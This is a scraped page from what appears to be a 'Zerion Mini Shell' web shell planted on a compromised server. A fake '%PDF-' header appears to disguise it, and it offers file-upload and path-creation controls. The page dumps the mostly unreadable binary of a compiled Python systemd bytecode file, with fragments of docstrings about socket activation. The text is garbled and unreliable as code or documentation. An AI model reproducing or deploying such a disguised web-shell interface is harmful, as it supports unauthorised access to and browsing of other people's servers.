%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/systemd/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/systemd/__pycache__/daemon.cpython-312.pyc

�

���b����ddlmZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZd�Zdd�Zeddfd�Zedddfd	�Zdd
�Zdd�Zdd�Zdd
�Zdd�Zy)�)�	AF_UNSPEC�)�__version__�booted�notify�_listen_fds�_listen_fds_with_names�_is_fifo�
_is_socket�_is_socket_inet�_is_socket_sockaddr�_is_socket_unix�_is_mq�LISTEN_FDS_STARTc�F�	|j�S#t$r|cYSwxYw�N)�fileno�AttributeError)�fileobjs �0/usr/lib/python3/dist-packages/systemd/daemon.py�_convert_fileobjrs(����~�~���������s�� � Nc�0�t|�}t||�Sr)rr
�r�path�fds   r�is_fifors��	�'�	"�B��B�������c�4�t|�}t||||�Sr)rr)r�family�type�	listeningrs     r�	is_socketr#s��	�'�	"�B��b�&�$�	�2�2rc�6�t|�}t|||||�Sr)rr)rr r!r"�portrs      r�is_socket_inetr&s��	�'�	"�B��2�v�t�Y��=�=rc�6�t|�}t|||||�S)aaCheck socket type, address and/or port, flowinfo, listening state.

    Wraps sd_is_socket_inet_sockaddr(3).

    `address` is a systemd-style numerical IPv4 or IPv6 address as used in
    ListenStream=. A port may be included after a colon (":").
    See systemd.socket(5) for details.

    Constants for `family` are defined in the socket module.
    )rr
)r�addressr!�flowinfor"rs      r�is_socket_sockaddrr*"s!��
�'�	"�B��r�7�D�(�I�F�Frc�4�t|�}t||||�Sr)rr)rr!r"rrs     r�is_socket_unixr,0s��	�'�	"�B��2�t�Y��5�5rc�0�t|�}t||�Sr)rrrs   r�is_mqr.4s��	�'�	"�B��"�d��rc�X�t|�}tttt|z��S)aZReturn a list of socket activated descriptors

    Example::

      (in primary window)
      $ systemd-socket-activate -l 2000 python3 -c \
          'from systemd.daemon import listen_fds; print(listen_fds())'
      (in another window)
      $ telnet localhost 2000
      (in primary window)
      ...
      Execing python3 (...)
      [3]
    )r�list�ranger)�unset_environment�nums  r�
listen_fdsr48s(���'�
(�C���&�(8�3�(>�?�@�@rc�l�t|�}i}td|d�D]}|d|z||tz<�|S)a�Return a dictionary of socket activated descriptors as {fd: name}

    Example::

      (in primary window)
      $ systemd-socket-activate -l 2000 -l 4000 --fdname=2K:4K python3 -c \
          'from systemd.daemon import listen_fds_with_names; print(listen_fds_with_names())'
      (in another window)
      $ telnet localhost 2000
      (in primary window)
      ...
      Execing python3 (...)
      [3]
    rr)r	r1r)r2�	composite�retval�is    r�listen_fds_with_namesr9JsK��'�'8�9�I�
�F�
�1�i��l�
#�4��%.�q��s�^��q�!�!�"�4��Mrr)rrr)rrN)T)�socketr�
_AF_UNSPEC�_daemonrrrrr	r
rrr
rrrrrr#r&r*r,r.r4r9�rr�<module>r>s_��*�(�(�(�(���)�q�B�3�$.�A��!�>�G�6��A�$r

Zerion Mini Shell 1.0